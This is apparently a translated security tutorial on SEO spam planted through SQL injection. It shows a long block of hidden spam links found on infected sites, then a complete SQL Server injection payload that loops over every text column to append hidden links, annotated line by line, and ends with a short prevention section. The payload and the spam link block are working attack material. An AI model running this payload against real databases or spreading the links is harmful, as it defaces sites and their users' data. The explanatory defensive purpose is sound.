Tutorial - INVASION! - SQL Injection
You have your beautiful website and suddenly some unexpected texts or advertisements appear and, what to do now?
You search the internet for the terms: "how to cheat with a married woman" and find only several of other infected sites like yours.
Below are some of our html scripts found on some sites infected with SPAM SEO, and see in an exclusive article how your attack works. We exclusively capture the action of SQL Injection in a system using an audit trigger and we are here unraveling the code so disturbing to countless users on the internet.
SEO SPAM is a script that inserts html tags from vulnerable websites in order to increase Page Rank on Google and other search engines.
There is the attacker, but there is also the contractor who asks SPAMMER to increase traffic to your site and pays a fee to do so.
If you saw some of these texts on your website:
<div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">signs of unfaithful husband</a> how to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend">website</a> why wife cheated</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">link</a> women who like to cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">click here</a> why do married men cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">married affairs sites</a> i dreamed my husband cheated on me</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">how many guys cheat</a> married men that cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wives that cheat</a> reasons wives cheat on their husbands</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">will my husband cheat</a> married men that cheat</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">wife cheat story</a> women who like to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wives that cheat</a> reasons wives cheat on their husbands</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">open</a> go</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">will my husband cheat</a> why do married men cheat</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">click here</a> women who cheated</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">how often do women cheat on their husbands</a> husband cheated on me</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">why are women unfaithful <a href="http://blog.businessdating.com/page/How-women-cheat">husband cheated</a> women cheat because</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/"></a> catching a cheater</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">my wife emotionally cheated on me</a> website</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">how to cheat on wife</a> why husband cheat on their wife</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">how can people cheat</a> wife who cheated</div><div style="display:none">catching a cheater <a href="http://blog.businessdating.com/page/How-women-cheat">dating for married men</a> how to cheat husband</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">link</a> what makes people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">link <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">why women cheat on their husbands</a> My boyfriend cheated on me</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">women who want to cheat</a> catching a cheater</div><div style="display:none">why are women unfaithful <a href="http://blog.businessdating.com/page/How-women-cheat">will my wife cheat again</a> women cheat because</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">open</a> when married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">women will cheat</a> husband cheated on me</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">link</a> men who have affairs</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">women who cheat on their husbands</a> women who like to cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">why do men cheat on their wife</a> signs of unfaithful husband</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">married affairs sites</a> i dreamed my husband cheated on me</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">women who cheat on their husbands</a> how do i know if my wife has cheated</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">married woman looking to cheat</a> infidelity</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">read here</a> women looking to cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">all women cheat</a> how do i know if my wife has cheated</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why women cheat with married men</a> reasons wives cheat on their husbands</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">woman affair</a> how do i know if my wife cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">how married men cheat</a> why do people cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why do wifes cheat</a> how do i know if my wife has cheated</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">why wife cheated</a> why husband cheat on their wife</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">how do i know if my wife has cheated</a> men who have affairs</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why do wifes cheat</a> go</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why some women cheat</a> men who have affairs</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">how to cheat on wife</a> why husband cheat on their wife</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">read</a> go</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why women cheat</a> what makes people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">open</a> when married men cheat</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my wife emotionally cheated on me</a> looking to cheat</div><div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">my husband almost cheated on me</a> how to cheat</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">women who cheat</a> what makes people cheat</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend">website</a> why wife cheated</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">cheaters</a> looking to cheat</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">what causes women to cheat</a> women looking to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">how do i know if my wife has cheated</a> website</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">go</a> website</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why do husband cheat</a> how many guys cheat</div><div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">open</a> how to cheat</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">read here</a> how do i know if my wife cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">why men have affairs</a> women looking to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">why do men cheat on their wife</a> online</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">how to cheat on wife</a> when married men cheat</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">married men having affairs</a> why do married men cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">cheat on wife</a> i dreamed my husband cheated on me</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">how can people cheat</a> wife who cheated</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">wifes who cheat</a> husband cheated on me</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">women who cheat on their husbands</a> married men that cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why women cheat with married men</a> reasons wives cheat on their husbands</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>why women cheat</a> what makes people cheat</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style=display:none>when women cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>my wife emotionally cheated on me</a> website</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">women who want to cheat</a> catching a cheater</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">open</a> click</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">cheaters</a> looking to cheat</div><div style=display:none>wives cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>how many guys cheat</a> married men that cheat</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend"></a> why wife cheated</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">open</a> go</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style=display:none>when women cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>go</a> website</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>my husband almost cheated on me</a> how to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">black women white men</a> reasons wives cheat on their husbands</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">why women cheat on men</a> signs of unfaithful husband</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>women will cheat</a> husband cheated on me</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">i cheated on husband</a> how do i know if my wife cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style=display:none>link <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>click here</a> why do married men cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>wifes who cheat</a> husband cheated on me</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>signs of unfaithful husband</a> how to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style=display:none>online <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>link</a> women who like to cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style=display:none>wives cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>women who cheat on their husbands</a> married men that cheat</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my wife emotionally cheated on me</a> looking to cheat</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>women who cheat</a> what makes people cheat</div><div style=display:none>married cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>read here</a> women looking to cheat</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">married woman looking to cheat</a> infidelity</div><div style=display:none>online <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>wife cheat story</a> women who like to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>open</a> how to cheat</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>how often do women cheat on their husbands</a> husband cheated on me</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why do husband cheat</a> how many guys cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>link</a> what makes people cheat</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style=display:none>link <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>will my husband cheat</a> why do married men cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">cheat on wife</a> i dreamed my husband cheated on me</div><div style=display:none>married cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>what causes women to cheat</a> women looking to cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">women who cheat on their husbands</a> women who like to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">married and want to cheat</a> why do people cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">read</a> go</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">click here</a> why do married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">why women cheat on men</a> signs of unfaithful husband</div>
I'm sorry, you were probably attacked by the script below through a SQL Injection vulnerability:
SELECT * FROM PRODUTOS WHERE ID=11871;declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''i dreamed my wife cheated on me ''+char(60)+''a href="http:''+char(47)+char(47)+''www.cfrtu.org''+char(47)+''events.asp"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end +char(60)+char(47)+''a''+char(62)+'' dating for married people''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c-- AND ATIVO = 1;
Let's understand the SPAM SEO code, first organizing the code and commenting on each action:
/* It broke the previous SQL line allowing it to include a new SQL transaction.*/
;
/* Declared a cursor variable with the name @c */
declare @c cursor;
/* Declared another variable with 4000 bytes of text */
declare @d varchar(4000);
/* Setting the @c variable to a SELECT code (which brings a result) */
set @c=cursor
for
select
/* Below it performs a text action for the cursor, SELECT will respond with this string.
Note that it creates an update action where it always takes a table, a column, and adds random text code per module 7 (any number module% 7, will result in a number between 0 and 6 closed).
Char are functions that call characters from the ASCII table.
Char (47) = ALT + 47 (numpad) which is equal to: "/"
NewId () = Generates a random number in SQL Server.
*/'update
['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+'] + case ABS(CHECKSUM( NewId() ) ) % 7 when 0 then ''''
+ char(60) + ''div style="display:none"''
+ char(62) + ''i dreamed my wife cheated on me ''
+ char(60) + ''a href="http:''
+ char(47) + char(47) + ''www.cfrtu.org''
+ char(47) + ''events.asp"''
+ char(62) + case ABS(CHECKSUM( NewId() ))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end
+ char(60) + char(47) + ''a''
+ char(62) + '' dating for married people''
+ char(60) + char(47) + ''div''+char(62) + '''' else '''' end'
/* Here brings from the bank's engine the tables and their existing columns to complete the above string with all the tables in the bank that are * varchar (nvarchar, varchar) of large size (so as not to fail to insert the code) */
FROM sysindexes AS i
INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(
CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647
);
/* Here executes all the actions that were saved in the query above for the cursor */
open @c;
fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c--
And so with the two "--" the transaction ends ignoring the rest of the code that comes.
Prevention - Prevent this attack from occurring on your website:
Make sure your site has specific protection in all text fields where they look for information in the database, always preventing the following question:
When you do programming, in any language, we have:
variable = "SQLSQLSQLSQLSQL";
It will not always perform a fixed query, it will usually bring some information from the user as well.
category = "5"
variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =" & category & ";";
variable is now
SELECT * FROM PRODUCTS WHERE CATEGORY = 5;
Analyzing that the category variable is the following:
category = "5; SELECT @@ SPID"
variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =" & category & ";";
So now you will have the following content in your variable:
SELECT * FROM PRODUCTS WHERE CATEGORY = 5; SELECT @@ SPID;
This will generate an error, and consequently, you will have to deal with this error.
